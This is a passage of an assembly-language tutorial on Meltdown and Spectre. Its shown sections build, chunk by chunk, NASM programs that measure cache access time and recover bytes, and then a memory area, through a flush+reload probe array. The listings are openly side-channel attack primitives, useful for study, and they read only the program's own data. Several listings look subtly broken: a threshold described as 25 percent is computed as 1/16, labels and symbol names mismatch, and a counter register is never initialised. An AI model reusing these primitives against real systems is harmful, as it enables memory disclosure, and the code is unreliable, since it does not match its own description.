

Meltdown and Spectre Samples

Written in Assembly

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April 4, 2018

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1 Introduction

1.1 Overview

TBD

1.2 Conventions

1.2.1 Introduction

In this section we define some convention that are specific for this document.

1.2.2 Data Sections

The data is divided into three parts: read-only data, initialized data and uninitialized data. Code chunks with this type of data will all have defined suffices.

Definition 1 *Read-only data is data that is not modified during program execution. The suffix for read-only data is **-rodata**.*

Definition 2 *Initialized data is data that is changeable during program execution. The data is already initialized with data when the program starts. The suffix for initialized data is **-idata**.*

Definition 3 *Uninitialized data is data that is changeable during program execution. The data is not initialized. The suffix for uninitialized data is **-udata**.*

1.3 Nasm

TBD

5 `<preamble 5>≡` (11f 18c 21a 23c 33)
 `bits 64`

`<license 82>`

```
global      _start
pagesize   equ 4096
```

Defines:

`_start`, used in chunks 9a, 14a, 21b, and 24b.

`pagesize`, used in chunks 8b, 9c, 13, 14c, 16c, 22c, 24a, 27a, and 32.

2 Cache Access Timing

2.1 Introduction

TBD

2.2 Detect Cache Access Time

2.2.1 High Resolution Timer

First we need a high resolution timer to determine the cache access time. For this we use the time stamp counter. The time stamp counter is monotonically incrementing. When reading the time stamp counter (with `rdtsc`) the result is delivered back in the registers EDX and EAX forming a 64bit value. The time stamp counter is not an absolute value but a relative value, meaning that you cannot (easily) calculate from the time stamp counter to some time units (e.g. ns). But this is no problem as we only want to measure relative times.

To retrieve a 64bit value for the time we shift the value in EDX 32 bits to the left and add the value of EAX to this.

7 $\langle tsc-64bit \rangle \equiv$ (8a)

```
rdtsc
shl    RDX,32
add    RAX,RDX
```

2.2.2 Cache Access Time Routine

Next we need a routine that calculates the cache access time for us.

First we have to ensure in this routine that the speculative execution of the processor does not interfere with our time measurement. For this we use the instruction `lfence` which ensures that all previous reads are done before executing the next instructions.

Next we access a memory location with the address RDI by loading this into RCX and measure the time before and after the access.

The command `lfence` before reading the time stamp counter is needed because we have to ensure that all reads before the time measurements are done.

At last we calculate the relative time needed to access the memory location. In theory we should see a difference whether the memory location is accessed before or not.

2 Cache Access Timing

Parameters

RDI the address of the memory which is loaded either from the cache or from memory

Return

RAX the relative time of the cache access

```
8a  <calculate-cache-access-time 8a>≡ (11f 18c 21a 23c 33)
    _calccachetime:
        lfence
        <tsc-64bit 7>
        mov     R8,RAX
        mov     RCX,[RDI]
        lfence
        <tsc-64bit 7>
        sub     RAX,R8
        ret
```

Defines:

 _calccachetime, used in chunks 10b, 11b, and 15b.

2.3 Measure Cache Access Time

2.3.1 Setup

To measure the cache timing we create a standalone program that shows us the time for a cached and for an uncached memory access.

First we need some area in memory with data which we can later read from. This data area goes into the area `.bss` which contains uninitialized data. We align the data at a page boundary and reserve one pages for our data.

```
8b  <data-udata 8b>≡ (11f 18c 21a 23c 33)
        alignb    pagesize
        data:      resb pagesize
```

Defines:

 data, used in chunks 9, 11b, 14b, 17a, 18a, 22c, 23b, 27a, and 32b.

Uses `pagesize` 5.

From time to time we need a small scratch area so we define an area with 32 bytes.

```
8c  <scratch-udata 8c>≡ (11f 18c 21a 23c 33)
        scratch:   resb 32
```

Defines:

 scratch, used in chunks 10f, 11d, 17, 18a, 23b, 28c, 29d, and 32d.

The program begins with the label `_start`.

9a $\langle \text{cachetiming-program } 9a \rangle \equiv$ (11f) 9f>
`_start:`
 Uses `_start` 5.

Now we start with initialising the `data` area with some random data. For this we load RDI with the address of the `data` area.

9b $\langle \text{init-random-data } 9b \rangle \equiv$ (9f 14a 21b 24b) 9c>
`mov RDI,data`
 Uses `data` 8b.

Next we load the number of bytes to fill into RSI. For this we load the `pagesize` into RSI.

9c $\langle \text{init-random-data } 9b \rangle + \equiv$ (9f 14a 21b 24b) <9b 9d>
`mov RSI,pagesize`
 Uses `pagesize` 5.

At last we load EDX with some random seed. For this we use `rdtsc` and only use the lower 32 bit of the value.

9d $\langle \text{init-random-data } 9b \rangle + \equiv$ (9f 14a 21b 24b) <9c 9e>
`rdtsc`
`mov EDX,EAX`

Now we call `_xorshift` to fill the `data` area.

9e $\langle \text{init-random-data } 9b \rangle + \equiv$ (9f 14a 21b 24b) <9d
`call _xorshift`
 Uses `_xorshift` 44a.

Now we add this `data` initialization to our program.

9f $\langle \text{cachetiming-program } 9a \rangle + \equiv$ (11f) <9a 9g>
 $\langle \text{init-random-data } 9b \rangle$

2.3.2 Measure Time

Now that we have setup our `data` area we can now cache data from the first page by loading it into a register which also loads this into the cache.

For this we load RDI with the address of the `data` area.

9g $\langle \text{cachetiming-program } 9a \rangle + \equiv$ (11f) <9f 10a>
`mov RDI,data`
 Uses `data` 8b.

2 Cache Access Timing

Before we load the data into a register now we will clear the cache lines with the given address. For this we use the instruction `clflush`. After flushing the cache line we ensure (with `lfence`) that all reads from memory are finished before we load the data into a register again (and filling the cache).

10a `<cachetiming-program 9a>+≡` (11f) <9g 10b>
`clflush [RDI]`
`lfence`
`mov RCX, [RDI]`

Now we can determine the time that is needed to load this data once again. We do not need to load RDI again because it has not changed.

10b `<cachetiming-program 9a>+≡` (11f) <10a 10e>
`call _calccachetime`
Uses `_calccachetime` 8a.

Now we have the relative cache access time in register RAX. We store this value to the stack and print out an explaining text.

For this we define the text to print.

10c `<cachetiming-rodata 10c>≡` (11f) 11c>
`<common-rodata 10d>`
`scached: db "Cached Access Time: ",0x00`
Defines:
`scached`, used in chunk 10e.

Additionally we define some helper data, in this case `line feed (LF)`.

10d `<common-rodata 10d>≡` (10c 18c 21a 23c 33)
`slf: db 0x0a`
Defines:
`slf`, used in chunks 11, 17, 18a, 23b, 30, and 32d.

Now we can store RAX and print the text.

10e `<cachetiming-program 9a>+≡` (11f) <10b 10f>
`push RAX`
`mov RDI,scached`
`call _print`
Uses `_print` 46a and `scached` 10c.

We now restore the value and print the measured time to `stdout`.

10f `<cachetiming-program 9a>+≡` (11f) <10e 11a>
`pop RDI`
`mov RSI,scratch`
`call _printdu64bit`
Uses `_printdu64bit` 47a and `scratch` 8c.

At last we append a LF to the output.

```
11a  <cachetiming-program 9a>+≡ (11f) <10f 11b>
      mov     RSI,slf
      mov     RDI,1
      call    _nprint
```

Uses `_nprint` 45b and `slf` 10d.

Now we do the same with an uncached value. The difference is that we do not load the value before.

```
11b  <cachetiming-program 9a>+≡ (11f) <11a 11d>
      mov     RDI,data
      clflush [RDI]
      lfence
      call    _calccachetime
```

Uses `_calccachetime` 8a and `data` 8b.

Now we have the time of the uncached data access in `RAX` and can print it out with some explaining text.

```
11c  <cachetiming-rodata 10c>+≡ (11f) <10c
      suncached:    db "Uncached Access Time: ",0x00
```

Defines:

`suncached`, used in chunk 11d.

```
11d  <cachetiming-program 9a>+≡ (11f) <11b 11e>
      push    RAX
      mov     RDI,suncached
      call    _print
      pop     RDI
      mov     RSI,scratch
      call    _printdu64bit
      mov     RSI,slf
      mov     RDI,1
      call    _nprint
```

Uses `_nprint` 45b, `_print` 46a, `_printdu64bit` 47a, `scratch` 8c, `slf` 10d, and `suncached` 11c.

At last we exit the program.

```
11e  <cachetiming-program 9a>+≡ (11f) <11d
      <exitProgram 43b>
```

Now we can put everything together and have our `cachetiming` program that we can now execute.

```
11f  <cachetiming.asm 11f>≡
      <preamble 5>
```

2 Cache Access Timing

```
section .rodata
<cachetiming-rodata 10c>

section .bss
<data-udata 8b>
<scratch-udata 8c>

section .text
<cachetiming-program 9a>

<calculate-cache-access-time 8a>

<xorshift-prng 44a>

<utilities 43a>
```

The program source is placed in `asm/`. With `make` in the folder we can create an executable which is moved to `bin/`. There we can execute this program.

```
$ bin/cachetiming
Cached Access Time: 72
Uncached Access Time: 372
$
```

2.4 Read Byte via Cache Access Time

2.4.1 Introduction

We have seen that we can determine if the content of a memory address is in the cache or not (see [2.3 Measure Cache Access Time](#)).

So next we try to read a single byte from the memory by only detecting the cache access time.

2.4.2 Clear Cache for Measurement

Before we can determine the cache access times we need to clear the cache. We define a subroutine for this.

Parameters

RDI	the address of the probe memory
RSI	the step size in the probe memory

13a $\langle \text{clearcache } 13a \rangle \equiv$ (18c 21a 23c 33)

```
_clearcache:
    mov     RCX,256
    cld
.nextflush:
    clflush [RDI]
    add     RDI,RSI
    loop    .nextflush
    lfence
    ret
```

Defines:

`_clearcache`, used in chunks 13b, 22a, and 25c.

Now we add this to our program.

13b $\langle \text{cachereadbyte-program } 13b \rangle \equiv$ (18c 21a) 14a▷

```
mov     RDI,probe
mov     RSI,pagesize
call    _clearcache
```

Uses `_clearcache` 13a, `pagesize` 5, and `probe` 13c.

2.4.3 Indexed Array Access

To read the value of a byte via the cache we use the byte to index into a probe array and then determine the cache access times of this probe array.

For this we will first create a `probe` array.

13c $\langle \text{probe-udata } 13c \rangle \equiv$ (18c 21a 23c 33)

```
alignb    pagesize
probe     times 256 resb pagesize
```

Defines:

`probe`, used in chunks 13, 14c, 16c, 22c, and 27a.

Uses `pagesize` 5.

Next we will fill this `probe` array with some random data (similar to the chunks for `data` 9b, 9c, 9d and 9e).

13d $\langle \text{init-random-probe } 13d \rangle \equiv$ (14a 21b 24b)

```
mov     RDI,probe
mov     RSI,pagesize
shl     RSI,8
rdtsc
mov     EDX,EAX
call    _xorshift
```

Uses `_xorshift` 44a, `pagesize` 5, and `probe` 13c.

2 Cache Access Timing

Now we add the initialization of the **data** and **probe** area to the program.

```
14a  <cachereadbyte-program 13b>+≡ (18c 21a) <13b 14b>
      _start:
      <init-random-data 9b>
      <init-random-probe 13d>
```

Uses **_start** 5.

Now we can read a byte from **data** into AL.

```
14b  <cachereadbyte-program 13b>+≡ (18c 21a) <14a 14c>
      mov     RDI,data
      xor     RAX,RAX
      mov     AL,[RDI]
```

Uses **data** 8b.

We use the value in RAX to access the probe array.

```
14c  <cachereadbyte-program 13b>+≡ (18c 21a) <14b 16c>
      mov     RDX,pagesize
      mul     RDX
      mov     RSI,probe
      mov     AL,[RSI+RAX]
```

Uses **pagesize** 5 and **probe** 13c.

Now we read the datum back via the cache access times. For this we create subroutines.

2.4.4 Read a Byte from the Cache

First we create a subroutine to read the cache access timings for the probe area.

Parameters

RDI the address of the probe memory

RSI the step size in the probe memory

RDX an area to keep the detected cache access times (256 * 8 bytes)

```
14d  <readcachetiming 14d>≡ (18c 21a 23c 33) 15a>
      _readcachetiming:
      <enterstackframe 43c>
```

Defines:

_readcachetiming, used in chunks 16c, 22c, and 26b.

2.4 Read Byte via Cache Access Time

Now we create space on the stack to keep the variables. Next we save the parameters to the stack space created.

```
15a  <readcachetiming 14d>+≡ (18c 21a 23c 33) <14d 15b>
      sub     RSP,32
      mov     [RBP-8],RDI
      mov     [RBP-16],RSI
      mov     [RBP-24],RDX
```

Now we can start detecting the cache access times.

```
15b  <readcachetiming 14d>+≡ (18c 21a 23c 33) <15a 15c>
      mov     RCX,256
      .nextcacheread:
      mov     [RBP-32],RCX
      call    _calccachetime
      mov     RDX,[RBP-24]
      mov     [RDX],RAX
      add     RDX,8
      mov     [RBP-24],RDX
      mov     RDI,[RBP-8]
      add     RDI,[RBP-16]
      mov     [RBP-8],RDI
      mov     RCX,[RBP-32]
      loop    .nextcacheread
```

Uses `_calccachetime` 8a.

At the end we clean up the stack again and return to the caller.

```
15c  <readcachetiming 14d>+≡ (18c 21a 23c 33) <15b
      <leavestackframe 43d>
      ret
```

After we determined all cache access times we can now find the lowest access time and with this the possible byte. We return two results from this subroutine, in **AL** the byte with the lowest cache access time and in **AH** the count of the lowest cache access time. Only if **AH** is 1 then the value in **AL** is valid.

Parameters

RDI the area with the detected cache access times (256 * 8 bytes)

Return

AL the read byte (in **AL**) with the lowest cache access time

AH the number of bytes read with the lowest cache access time

2 Cache Access Timing

16a $\langle \text{analyzecachemintiming } 16a \rangle \equiv$ (18c 33)

```
_analyzecachetiming:
    push    RDI
    mov     R8,0xffffffffffffffff
    xor     R9,R9
    xor     RCX,RCX
    mov     RSI,RDI
.nexttry:
    lodsq
    cmp     RAX,R8
    ja      .nohit
    mov     R8,RAX
    mov     R9,RCX
.nohit:
    inc     RCX
    cmp     RCX,256
    jb      .nexttry
    xor     RCX,RCX
    pop     RSI
.nextcount:
    lodsq
    cmp     RAX,R8
    ja      .nomin
    inc     R10
.nomin:
    inc     RCX
    cmp     RCX,256
    jb      .nextcount
    mov     RAX,R10
    shl     RAX,8
    mov     AL,R9b
    ret
```

2.4.5 The Whole Program to Read a Byte from Cache

Before we can start using our new subroutine `_readcachetiming` we need to define a data area for the cache access times.

16b $\langle \text{timings-udata } 16b \rangle \equiv$ (18c 21a 23c 33)

```
timings    resq 256
```

Now we have all subroutines together we now can start implementing the main program and output the byte read.

16c $\langle \text{cachereadbyte-program } 13b \rangle + \equiv$ (18c 21a) $\triangleleft 14c \ 17b \triangleright$

2.4 Read Byte via Cache Access Time

```
mov     RDI,probe
mov     RSI,pagesize
mov     RDX,timings
call    _readcachetiming
mov     RDI,timings
call    _analyzecachetiming
```

Uses `_readcachetiming` 14d, `pagesize` 5, and `probe` 13c.

Now we define a string to output for the read byte and the expected byte.

```
17a  <cachereadbyte-rodata 17a>≡ (18c 21a 23c)
      sreadbyte:  db "Byte read via cache access:      ",0x00
      ssountbyte: db "Count of bytes with min timing: ",0x00
      sexpectedbyte: db "Expected byte from data:      ",0x00
```

Uses `data` 8b.

We save the value from `RAX` (only `AL` is interesting to us) to the stack and print out the text.

```
17b  <cachereadbyte-program 13b>+≡ (18c 21a) <16c 17c>
      push     RAX
      mov     RDI,sreadbyte
      call    _print
```

Uses `_print` 46a.

Now we print the read byte and end the line with a `LF`.

```
17c  <cachereadbyte-program 13b>+≡ (18c 21a) <17b 17d>
      pop     RDI
      push    RDI
      and     RDI,0xff
      mov     RSI,scratch
      call    _printh8bit
      mov     RDI,1
      mov     RSI,slf
      call    _nprint
```

Uses `_nprint` 45b, `_printh8bit` 49b, `scratch` 8c, and `slf` 10d.

Next we print (for information) the number of bytes read with the minimum cache access timing.

```
17d  <cachereadbyte-program 13b>+≡ (18c 21a) <17c 18a>
      mov     RDI,ssountbyte
      call    _print
      pop     RDI
      shr     RDI,8
      and     RDI,0xff
      mov     RSI,scratch
```

2 Cache Access Timing

```
call    _printdu64bit
mov     RDI,1
mov     RSI,slf
call    _nprint
```

Uses `_nprint` 45b, `_print` 46a, `_printdu64bit` 47a, `scratch` 8c, and `slf` 10d.

Now we read the byte from the original data array and print this also.

```
18a  <cachereadbyte-program 13b>+≡ (18c 21a) <17d 18b>
      mov     RDI,sexpectedbyte
      call    _print
      mov     RSI,data
      xor     RAX,RAX
      mov     AL,[RSI]
      mov     RDI,RAX
      mov     RSI,scratch
      call    _printh8bit
      mov     RDI,1
      mov     RSI,slf
      call    _nprint
```

Uses `_nprint` 45b, `_print` 46a, `_printh8bit` 49b, `data` 8b, `scratch` 8c, and `slf` 10d.

At last we exit the program.

```
18b  <cachereadbyte-program 13b>+≡ (18c 21a) <18a
      <exitProgram 43b>
```

Now we put all together to get the program `cachereadbyte` that we can execute.

```
18c  <cachereadbyte.asm 18c>≡
      <preamble 5>

      section .rodata
      <common-rodata 10d>
      <cachereadbyte-rodata 17a>

      section .bss
      <data-udata 8b>
      <probe-udata 13c>
      <scratch-udata 8c>
      <timings-udata 16b>

      section .text
      <cachereadbyte-program 13b>

      <clearcache 13a>
```

<calculate-cache-access-time 8a>

<readcachetiming 14d>

<analyzecachemintiming 16a>

<xorshift-prng 44a>

<utilities 43a>

2.4.6 Improve Cache Access Time Analysis

As we can see – when running the program `cachereadbyte` – the result is not always as clear as it could be. Simply getting the lowest cache access time seems not to be enough.

Sample outputs of the program are

```
$ bin/cachereadbyte
Byte read via cache access:      2b
Count of bytes with min timing:  1
Expected byte from data:         2b
$ bin/cachereadbyte
Byte read via cache access:      ff
Count of bytes with min timing:  11
Expected byte from data:         b3
$ bin/cachereadbyte
Byte read via cache access:      2f
Count of bytes with min timing:  1
Expected byte from data:         87
$
```

So we have to improve our cache time detection routine. We will change the implementation of the chunk [16a](#) to define a threshold that is a little bit above the min access time and run the cache detection routine multiple times if no clear result is returned.

First start with the subroutine to analyze the cache access timing. We define a threshold 25 % above the minimum cache access time.

First we search for the minimum cache access time.

Parameters

RDI the area with the detected cache access times (256 * 8 bytes)

Return

AL the first byte (in AL) with a cache access time below the threshold

2 Cache Access Timing

AH	the number of bytes read with a cache access time below the threshold
----	---

$$20a \quad \langle \text{analyzecachesimptimesting } 20a \rangle \equiv \quad (21a \text{ } 23c) \quad 20b \triangleright$$

```

_analyzecachetiming:
    push        RDI
    mov         R8,0xffffffffffffffff
    xor         RCX,RCX
    mov         RSI,RDI
.nextmin:
    lodsq
    cmp         RAX,R8
    ja          .nonewmin
    mov         R8,RAX
.nonewmin:
    inc         RCX
    cmp         RCX,256
    jb          .nextmin

```

Now we have the minimum cache access time in R8. Next we will add $\frac{1}{4}$ to this to have our threshold.

$$20b \quad \langle \textit{analyzecachesimphrestiming } 20a \rangle + \equiv \quad (21a \ 23c) \quad \triangleleft 20a \ 20c \triangleright$$

```
mov    RAX,R8
shr    RAX,4
add    R8,RAX
```

Now we scan the cache access times a second time and take all values below the threshold into account.

$$20c \quad \langle \textit{analyzecachesimphrestiming } 20a \rangle + \equiv \quad (21a \text{ } 23c) \triangleleft 20b$$

```

    pop        RSI
    xor        RCX,RCX
    xor        R9,R9
.nextbyte:
    lodsq
    cmp        RAX,R8
    ja         .nonewbyte
    inc        R9
    mov        R10,RCX
.nonewbyte:
    inc        RCX
    cmp        RCX,256
    jb         .nextbyte
    mov        RAX,R9
    shl        RAX,8
    mov        AL,R10b
    ret

```

Now we put all together to get the program `cachereadbyte2` that we can execute.

```
21a <cachereadbyte2.asm 21a>≡
    <preamble 5>

    section .rodata
    <common-rodata 10d>
    <cachereadbyte-rodata 17a>

    section .bss
    <data-udata 8b>
    <probe-udata 13c>
    <scratch-udata 8c>
    <timings-udata 16b>

    section .text
    <cachereadbyte-program 13b>

    <clearcache 13a>

    <calculate-cache-access-time 8a>

    <readcachetiming 14d>

    <analyzecachesimpthrestiming 20a>

    <xorshift-prng 44a>

    <utilities 43a>
```

Now when we only find a single hit then the possibility that the byte from the cache timing is the original byte is much higher.

Next we will create a program that tries to read the value from the cache until we have a single result.

First we initialize our data and probe areas.

```
21b <cachereadbyte3-program 21b>≡ (23c) 22c▷
    _start:
    <init-random-data 9b>
    <init-random-probe 13d>
```

Uses `_start 5`.

Next we create a subroutine that clears the cache and reads in a byte via the probe array.

Parameters

2 Cache Access Timing

RDI the address of the byte to read
RSI the address of the probe memory
RDX the step size in the probe memory

```
22a  <readbyte2cache 22a>≡ (23c) 22b>
      _readbyte2cache:
          push    RDI
          push    RSI
          push    RDX
          mov     RDI,RSI
          mov     RSI,RDX
          call    _clearcache
```

Defines:

 _readbyte2cache, used in chunk 22c.

Uses _clearcache 13a.

Next we can add the read of the byte and caching the data from the probe array.

```
22b  <readbyte2cache 22a>+≡ (23c) <22a
      pop        RDX
      pop        RSI
      pop        RDI
      xor        RAX,RAX
      mov        AL,[RDI]
      mul        RDX
      mov        AL,[RSI+RAX]
      ret
```

Now we add the call to this subroutine to our program and determine the byte by analyzing the cache access times.

```
22c  <cachereadbyte3-program 21b>+≡ (23c) <21b 23a>
      .startreadcache:
          mov     RDI,data
          mov     RSI,probe
          mov     RDX,pagesize
          call    _readbyte2cache
          mov     RDI,probe
          mov     RSI,pagesize
          mov     RDX,timings
          call    _readcachetiming
          mov     RDI,timings
          call    _analyzecachetiming
```

Uses _readbyte2cache 22a, _readcachetiming 14d, data 8b, pagesize 5, and probe 13c.

Now we check if the read byte was a single byte, else we will do this again.

23a $\langle \text{cachereadbyte3-program 21b} \rangle + \equiv$ (23c) $\langle 22c \ 23b \rangle$

```

    cmp     AH,1
    ja      .startreadcache

```

Now we print out our result.

23b $\langle \text{cachereadbyte3-program 21b} \rangle + \equiv$ (23c) $\langle 23a \rangle$

```

    push    RAX
    mov     RDI,sreadbyte
    call    _print
    pop     RDI
    and     RDI,0xff
    mov     RSI,scratch
    call    _printh8bit
    mov     RDI,1
    mov     RSI,slf
    call    _nprint
    mov     RDI,sexpectedbyte
    call    _print
    mov     RSI,data
    xor     RAX,RAX
    mov     AL,[RSI]
    mov     RDI,RAX
    mov     RSI,scratch
    call    _printh8bit
    mov     RDI,1
    mov     RSI,slf
    call    _nprint

```

$\langle \text{exitProgram 43b} \rangle$

Uses `_nprint` 45b, `_print` 46a, `_printh8bit` 49b, `data` 8b, `scratch` 8c, and `slf` 10d.

23c $\langle \text{cachereadbyte3.asm 23c} \rangle \equiv$
 $\langle \text{preamble 5} \rangle$

```

section .rodata
 $\langle \text{common-rodata 10d} \rangle$ 
 $\langle \text{cachereadbyte-rodata 17a} \rangle$ 

```

```

section .bss
 $\langle \text{data-udata 8b} \rangle$ 
 $\langle \text{probe-udata 13c} \rangle$ 
 $\langle \text{scratch-udata 8c} \rangle$ 
 $\langle \text{timings-udata 16b} \rangle$ 

```

2 Cache Access Timing

```
section .text
<cachereadbyte3-program 21b>

<readbyte2cache 22a>

<clearcache 13a>

<calculate-cache-access-time 8a>

<readcachetiming 14d>

<analyzecachesimpthrestiming 20a>

<xorshift-prng 44a>

<utilities 43a>
```

Even if this program is not perfect because it is not reliable all the time it is reliable enough to demonstrate the next steps.

2.5 Read Array via Cache Access Time

2.5.1 Introduction

Now we have read a byte via the cache access times. Now it is time to read a complete memory area.

2.5.2 Setup

For this we use the `data` defined before and read in the complete area. For this we need additionally a memory area that holds the read data.

```
24a <readback-udata 24a>≡ (33)
      alignb      pagesize
      readbackdata resb pagesize
```

Defines:

`readbackdata`, used in chunks 27a and 32b.

Uses `pagesize` 5.

First we initialize the `data` and `probe` areas in our program with some random data.

```
24b <cacheread-program 24b>≡ (33) 27a▷
      _start:
      <init-random-data 9b>
      <init-random-probe 13d>
```

Uses `_start` 5.

Next we will define a subroutine that reads the `data` area and writes the results of the cache read into `readbackdata`.

Parameters

RDI	the address of the data memory
RSI	the size of the data memory
RDX	the address of the probe memory
RCX	the step size in the probe memory (the probe area needs to be at least $256 * RCX$ bytes in size)
R8	the address of the readback area (must be at least the same size as the data area)
R9	the address of the the area to keep the timing data (at least $256 * 8$ bytes)

25a $\langle readarea\ 25a \rangle \equiv$ (33) 25b \triangleright
`_readarea:`

Defines:

`_readarea`, used in chunk 27a.

Now we create some place on the stack and store the parameters on it. We reserve an extra place at `[RBP-56]` for a counter into the data memory.

25b $\langle readarea\ 25a \rangle + \equiv$ (33) $\triangleleft 25a\ 25c \triangleright$
 $\langle enterstackframe\ 43c \rangle$
`sub RSP, 56`
`mov [RBP-8], RDI`
`mov [RBP-16], RSI`
`mov [RBP-24], RDX`
`mov [RBP-32], RCX`
`mov [RBP-40], R8`
`mov [RBP-48], R9`
`xor RAX, RAX`
`mov [RBP-56], RAX`

First we have to clear the cache before we can measure any cache access times.

25c $\langle readarea\ 25a \rangle + \equiv$ (33) $\triangleleft 25b\ 26a \triangleright$
`.startread:`
`mov RDI, [RBP-24]`
`mov RSI, [RBP-32]`
`call _clearcache`

Uses `_clearcache` 13a.

2 Cache Access Timing

Now we can load the byte from the memory and cache the according value from the `probe` memory.

```
26a  <readarea 25a>+≡ (33) <25c 26b>
      mov     RSI, [RBP-8]
      add     RSI, [RBP-56]
      xor     RAX, RAX
      mov     AL, [RSI]
      mov     RDX, [RBP-32]
      mul     RDX
      mov     RSI, [RBP-24]
      mov     AL, [RSI+RAX]
```

Now that we have filled our cache we can determine the cache access times.

```
26b  <readarea 25a>+≡ (33) <26a 26c>
      mov     RDI, [RBP-24]
      mov     RSI, [RBP-32]
      mov     RDX, [RBP-48]
      call    _readcachetiming
```

Uses `_readcachetiming` 14d.

Now we can analyze the cache access times.

```
26c  <readarea 25a>+≡ (33) <26b 26d>
      mov     RDI, [RBP-48]
      call    _analyzecachetiming
```

If we have more than 1 hit then we retry the reading of the byte.

```
26d  <readarea 25a>+≡ (33) <26c 26e>
      cmp     AH, 1
      ja      .startread
```

Now that we found a byte we store it in the resulting memory area.

```
26e  <readarea 25a>+≡ (33) <26d 26f>
      mov     RDI, [RBP-40]
      mov     RCX, [RBP-56]
      add     RDI, RCX
      mov     [RDI], AL
      inc     RCX
      mov     [RBP-56], RCX
      cmp     RCX, [RBP-16]
      jb      .startread
```

Now we clean up the stack frame and return to the caller.

```
26f  <readarea 25a>+≡ (33) <26e>
      <leavestackframe 43d>
      ret
```

Now we can add this to our program and read the area.

```
27a  <cacheread-program 24b>+≡ (33) <24b 32b>
      mov     RDI,data
      mov     RSI,pagesize
      mov     RDX,probe
      mov     RCX,pagesize
      mov     R8,readbackdata
      mov     R9,timings
      call    _readarea
```

Uses `_readarea` 25a, `data` 8b, `pagesize` 5, `probe` 13c, and `readbackdata` 24a.

Now we want to display the results. This means we need a routine that displays the original `data` and the `readbackdata` side by side. Additionally we want to highlight the value from the `readbackdata` if it differs from the original data.

So start with defining some highlighting and some usefull helper strings.

```
27b  <cacheread-rodata 27b>≡ (33) 32c>
      sbgred:      db 0x1b,"[1;41m",0x00
      sresetstyle: db 0x1b,"[0m",0x00
      sseparator:  db "- ",0x00
      sblank:      db " "
      semptybyte:  db " ",0x00
```

Defines:

`sbgred`, used in chunk 29d.
`sblank`, used in chunks 28c and 29d.
`semptybyte`, used in chunk 29a.
`sresetstyle`, used in chunks 29d and 30.
`sseparator`, used in chunk 29b.

Next we define a subroutine which prints out up to 16 bytes each side by side on the screen. If two bytes in the arrays are different then the value at the right side (from the second array) will be printed with red background. The routine should also return the number of values that are different in both areas.

Parameters

RDI	the address of the first array
RSI	the address of the second array
RDX	number of bytes to print (up to 16). If the value is above 16 then only 16 values are printed

Return

RAX	number of bytes that differ between both memory areas
-----	---

2 Cache Access Timing

28a $\langle \text{print-comparision16 } 28a \rangle \equiv$ (33) 28b \triangleright
`_printcompare16:`

Defines:

`_printcompare16`, used in chunk 31b.

At the start of the subroutine we prepare a stack frame for further operations as we will need to save and restore the registers RDI, RSI, RDX and RCX multiple times. Additionally we store R12 and R13 to the stack to use this registers as scratch registers.

28b $\langle \text{print-comparision16 } 28a \rangle + \equiv$ (33) $\triangleleft 28a \ 28c \triangleright$
 $\langle \text{enterstackframe } 43c \rangle$
`sub RSP,32`
`mov [RBP-8],RDI`
`mov [RBP-16],RSI`
`cmp RDX,0x10`
`jb .valueok`
`mov RDX,0x10`
`.valueok:`
`mov [RBP-24],RDX`
`push R12`
`push R13`
`xor R13,R13`

Next we can start and handle the "left" side of the output. We output up to 16 bytes and then continue at `.leftbytesdone` (29a).

28c $\langle \text{print-comparision16 } 28a \rangle + \equiv$ (33) $\triangleleft 28b \ 29a \triangleright$
`xor RCX,RCX`
`.nextbyteleft:`
`cmp RCX,RDX`
`mov [RBP-32],RCX`
`jae .leftbytesdone`
`mov AL,[RDI+RCX]`
`xor AH,AH`
`mov DI,AX`
`mov RSI,scratch`
`call _printh8bit`
`mov RDI,1`
`mov RSI,sblank`
`call _nprint`
`mov RDI,[RBP-8]`
`mov RDX,[RBP-24]`
`mov RCX,[RBP-32]`
`inc RCX`
`jmp .nextbyteleft`
`.leftbytesdone:`

Uses `_nprint` 45b, `_printh8bit` 49b, `sblank` 27b, and `scratch` 8c.

Now we fill up the space so that the space of 16 bytes is occupied.

29a $\langle \text{print-comparison16 } 28a \rangle + \equiv$ (33) $\langle 28c \ 29b \rangle$

```
.leftemptybyte:
    cmp     RCX,0x10
    jae     .leftdone
    mov     RDI,emptybyte
    call    _print
    inc     RCX
    jmp     .leftemptybyte
.leftdone:
```

Uses `_print` 46a and `emptybyte` 27b.

Next we print out the separator between the two compare block.

29b $\langle \text{print-comparison16 } 28a \rangle + \equiv$ (33) $\langle 29a \ 29c \rangle$

```
mov     RDI,sseparator
call    _print
```

Uses `_print` 46a and `sseparator` 27b.

To print the second half (for comparison) we restore the values of the parameters first.

29c $\langle \text{print-comparison16 } 28a \rangle + \equiv$ (33) $\langle 29b \ 29d \rangle$

```
mov     RDI,[RBP-8]
mov     RSI,[RBP-16]
mov     RDX,[RBP-24]
```

Now we compare each byte with the original value first and then print it out. If the value differs from the original value we additionally mark the byte.

29d $\langle \text{print-comparison16 } 28a \rangle + \equiv$ (33) $\langle 29c \ 30 \rangle$

```
xor     RCX,RCX
.nextbyteright:
    mov     [RBP-32],RCX
    cmp     RCX,RDX
    jae     .rightbytesdone
    mov     AL,[RSI+RCX]
    mov     AH,[RDI+RCX]
    mov     R12W,AX
    cmp     AH,AL
    je      .printplain
    inc     R13
    mov     RDI,sbgred
    call    _print
.printplain:
    xor     RDI,RDI
    mov     AX,R12W
```

2 Cache Access Timing

```

        xor     AH,AH
        mov     DI,AX
        mov     RSI,scratch
        call    _printh8bit
        mov     AX,R12W
        cmp     AH,AL
        je      .prindone
        mov     RDI,sresetstyle
        call    _print
.primdone:
        mov     RDI,1
        mov     RSI,sblank
        call    _nprint
        mov     RDI,[RBP-8]
        mov     RSI,[RBP-16]
        mov     RDX,[RBP-24]
        mov     RCX,[RBP-32]
        inc     RCX
        jmp     .nextbyteright
.rightbytesdone:

```

Uses `_nprint` 45b, `_print` 46a, `_printh8bit` 49b, `sbcred` 27b, `sblank` 27b, `scratch` 8c, and `sresetstyle` 27b.

Now we fill up the place up to 16 bytes on the right side.

30 $\langle \text{print-comparison16 } 28a \rangle + \equiv$ (33) <29d

```

.rightemptybyte:
        cmp     RCX,0x10
        jae     .rightdone
        inc     RCX
        jmp     .rightemptybyte
.rightdone:
        mov     RDI,sresetstyle
        call    _print
        mov     RDI,1
        mov     RSI,slf
        call    _nprint
        mov     RAX,R13
        pop     R13
        pop     R12
        <leavestackframe 43d>
        ret

```

Uses `_nprint` 45b, `_print` 46a, `slf` 10d, and `sresetstyle` 27b.

Now that we can print 16 bytes in a line we simply divide the requested number of bytes into 16 bytes chunks and output them.

First we set up the stack frame and save R12 to the stack to use it as scratch register.

Parameters

